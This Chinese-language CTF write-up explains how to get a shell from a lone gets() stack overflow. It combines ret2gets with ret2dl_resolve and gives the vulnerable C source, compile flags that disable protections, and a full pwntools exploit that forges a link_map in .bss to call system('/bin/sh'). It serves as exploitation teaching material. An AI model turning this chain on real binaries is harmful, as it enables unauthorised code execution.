引言

在ret2dl_resolve的经典题中,经常会以read为输入参数,并且在x64架构中还会给出控制rdi等寄存器的gadget

当输入参数为gets时,结合ret2getes可以实现无需控制rdi寄存器的gadget即可控制rdi寄存器,最终实现getshell

这里以一道CTF题目为例子

源码

#include<stdio.h>

void stack_overflow()
{
    char buf[0x40];
    gets(buf);
}

int main(){
    stack_overflow();
    return 0;
}

编译

gcc -o pwn ./pwn.c -no-pie -fno-stack-protector

exp

from pwn import *

filename = './pwn'
context.arch='amd64'
elf = ELF(filename)
libc = elf.libc

p = process(filename)

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    linkmap = p64(offset & (2 ** 64 - 1))

    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)

    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)

    linkmap += p64(0)

    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)
    return linkmap

gets_got = elf.got['gets']
l_addr =  libc.sym['system'] -libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']

bss = 0x404030 + 0x700
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)

bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100,b'\x00')
payload += fake_link_map
p.sendline(payload)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')
p.interactive()

解题思路

从源码上看,这道题仅有一个gets函数的栈溢出漏洞,没有输入函数,也没有能够控制寄存器的gadget

#include<stdio.h>

void stack_overflow()
{
    char buf[0x40];
    gets(buf);
}

int main(){
    stack_overflow();
    return 0;
}

并且没有能够输入伪造linkmap的地方,但熟悉x64架构的应该会联想到在read、gets等输入函数是通过[rbp+var_40]类似汇编来实现输入位置参数的传输的

在这道题中就是

endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 40h
lea     rax, [rbp+var_40]
mov     rdi, rax
mov     eax, 0
call    _gets
nop
leave
retn

也就是说,凭借一个栈溢出漏洞即可控制rbp使其指向bss段,接着输入输入伪造linkmap

当然,这里也会导致一个问题,那就是两次的leave ret会造成栈迁移到bss段上

所以当我们输入第二次payload进行ret2dl_resolve时要注意布局

这是第一次payload,控制了rbp为bss+0x40,并且将返回地址填充为[rbp+var_40]那部分汇编,使得能够输入伪造结构体到bss段

payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)

这里的fake_link_map可以跟第二次payload一起输入,这里的fake_link_map直接用网上找到的模板即可

bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100,b'\x00')
payload += fake_link_map
p.sendline(payload)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')
p.interactive()

最终依靠ret2gets控制rdi寄存器为指向/bin/sh的地址即可通过ret2dl_resolve实现在仅有gets栈溢出漏洞的情况下getshell

标签: none

添加新评论